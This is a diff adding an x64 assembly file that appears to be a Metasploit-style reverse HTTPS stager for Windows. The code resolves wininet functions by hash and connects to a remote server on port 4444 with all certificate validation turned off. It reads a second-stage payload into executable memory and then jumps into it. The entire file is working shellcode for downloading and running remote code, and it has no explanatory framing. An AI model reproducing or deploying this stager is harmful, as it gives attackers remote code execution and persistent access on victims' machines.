|
| 1 | +;-----------------------------------------------------------------------------; |
| 2 | +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) |
| 3 | +; Rewrited to x64 by agix |
| 4 | +; Compatible: Windows 7 |
| 5 | +; Architecture: x64 |
| 6 | +;-----------------------------------------------------------------------------; |
| 7 | +[BITS 64] |
| 8 | + |
| 9 | +; Input: RBP must be the address of 'api_call'. |
| 10 | +; Output: RDI will be the socket for the connection to the server |
| 11 | +; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15 |
| 12 | + |
| 13 | +load_wininet: |
| 14 | + ; setup the structures we need on the stack... |
| 15 | + mov r14, 'wininet' |
| 16 | + push r14 ; Push the bytes 'wininet',0 onto the stack. |
| 17 | + mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call. |
| 18 | + mov rcx, r14 ; set the param for the library to load |
| 19 | + mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) |
| 20 | + call rbp ; LoadLibraryA( "ws2_32" ) |
| 21 | + |
| 22 | +internetopen: |
| 23 | + push byte 0 ; NULL pointer |
| 24 | + mov rcx, rsp ; LPCTSTR lpszAgent ("\x00") |
| 25 | + xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0) |
| 26 | + xor r8, r8 ; LPCTSTR lpszProxyName |
| 27 | + xor r9, r9 ; LPCTSTR lpszProxyBypass |
| 28 | + push r8 ; DWORD dwFlags |
| 29 | + push r8 ; alignment |
| 30 | + mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) |
| 31 | + call rbp |
| 32 | + |
| 33 | + jmp dbl_get_server_host |
| 34 | + |
| 35 | +internetconnect: |
| 36 | + pop rdx ; LPCTSTR lpszServerName |
| 37 | + mov rcx, rax ; HINTERNET hInternet |
| 38 | + mov r8, 4444 ; PORT |
| 39 | + xor r9, r9 ; LPCTSTR lpszUsername |
| 40 | + push r9 ; DWORD_PTR dwContext (NULL) |
| 41 | + push r9 ; DWORD dwFlags |
| 42 | + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) |
| 43 | + push r9 ; alignment |
| 44 | + mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) |
| 45 | + call rbp |
| 46 | + |
| 47 | + jmp get_server_uri |
| 48 | + |
| 49 | +httpopenrequest: |
| 50 | + mov rcx, rax ; HINTERNET hConnect |
| 51 | + xor rdx, rdx ; LPCTSTR lpszVerb |
| 52 | + pop r8 ; LPCTSTR lpszObjectName |
| 53 | + xor r9, r9 ; LPCTSTR lpszVersion |
| 54 | + push rdx ; DWORD_PTR dwContext |
| 55 | + push qword (0x0000000080000000 | 0x0000000004000000 | 0x0000000000800000 | 0x0000000000200000 | 0x0000000000001000 |0x0000000000002000 |0x0000000000000200) ; dwFlags |
| 56 | + ;0x80000000 | ; INTERNET_FLAG_RELOAD |
| 57 | + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE |
| 58 | + ;0x00800000 | ; INTERNET_FLAG_SECURE |
| 59 | + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT |
| 60 | + ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
| 61 | + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
| 62 | + ;0x00000200 ; INTERNET_FLAG_NO_UI |
| 63 | + push rdx ; LPCTSTR *lplpszAcceptTypes |
| 64 | + push rdx ; LPCTSTR lpszReferer |
| 65 | + mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) |
| 66 | + call rbp |
| 67 | + mov rsi, rax |
| 68 | + |
| 69 | +retry: |
| 70 | + push byte 10 |
| 71 | + pop rdi |
| 72 | + |
| 73 | +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); |
| 74 | +internetsetoption: |
| 75 | + mov rcx, rsi ; HINTERNET hInternet |
| 76 | + mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) |
| 77 | + push qword 0x00003380 |
| 78 | + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
| 79 | + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
| 80 | + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE |
| 81 | + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA |
| 82 | + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION |
| 83 | + mov r8, rsp |
| 84 | + mov r9, 4 ; sizeof(dwFlags) |
| 85 | + mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) |
| 86 | + call rbp |
| 87 | + |
| 88 | +httpsendrequest: |
| 89 | + mov rcx, rsi ; HINTERNET hRequest |
| 90 | + xor rdx, rdx ; LPCTSTR lpszHeaders |
| 91 | + xor r8, r8 ; DWORD dwHeadersLength |
| 92 | + xor r9, r9 ; LPVOID lpOptional |
| 93 | + push rdx ; DWORD dwOptionalLength |
| 94 | + mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) |
| 95 | + call rbp |
| 96 | + test eax,eax |
| 97 | + jnz short allocate_memory |
| 98 | + |
| 99 | +try_it_again: |
| 100 | + dec rdi |
| 101 | + jz failure |
| 102 | + jmp short internetsetoption |
| 103 | + |
| 104 | +dbl_get_server_host: |
| 105 | + jmp get_server_host |
| 106 | + |
| 107 | +get_server_uri: |
| 108 | + call httpopenrequest |
| 109 | + |
| 110 | +server_uri: |
| 111 | + db "/12345", 0x00 |
| 112 | + |
| 113 | +failure: |
| 114 | + mov r14, 0x56A2B5F0 ; hardcoded to exitprocess for size |
| 115 | + call rbp |
| 116 | + |
| 117 | +allocate_memory: |
| 118 | + xor rcx, rcx ; LPVOID lpAddress |
| 119 | + mov rdx, 0x00400000 ; SIZE_T dwSize |
| 120 | + mov r8, 0x1000 ; DWORD flAllocationType(MEM_COMMIT) |
| 121 | + mov r9, 0x40 ; DWORD flProtect(PAGE_EXECUTE_READWRITE) |
| 122 | + mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 123 | + call rbp |
| 124 | + |
| 125 | +download_prep: |
| 126 | + xchg rax, rbx ; place the allocated base address in ebx |
| 127 | + push rbx ; store a copy of the stage base address on the stack |
| 128 | + push rbx ; temporary storage for bytes read count |
| 129 | + mov rdi, rsp ; &bytesRead |
| 130 | + |
| 131 | +download_more: |
| 132 | + mov rcx, rsi ; HINTERNET hFile |
| 133 | + mov rdx, rbx ; LPVOID lpBuffer |
| 134 | + mov r8, 8192 ; DWORD dwNumberOfBytesToRead |
| 135 | + mov r9, rdi ; LPDWORD lpdwNumberOfBytesRead |
| 136 | + mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) |
| 137 | + call rbp |
| 138 | + add rsp, 32 ; clean reserverd space |
| 139 | + |
| 140 | + test eax,eax ; download failed? (optional?) |
| 141 | + jz failure |
| 142 | + |
| 143 | + mov rax, [rdi] |
| 144 | + add rbx, rax ; buffer += bytes_received |
| 145 | + |
| 146 | + test rax,rax ; optional? |
| 147 | + jnz download_more ; continue until it returns 0 |
| 148 | + pop rax ; clear the temporary storage |
| 149 | + pop rax ; f*cking alignment |
| 150 | + |
| 151 | +execute_stage: |
| 152 | + ret ; dive into the stored stage address |
| 153 | + |
| 154 | +get_server_host: |
| 155 | + call internetconnect |
| 156 | + |
| 157 | +server_host: |
| 158 | + |
0 commit comments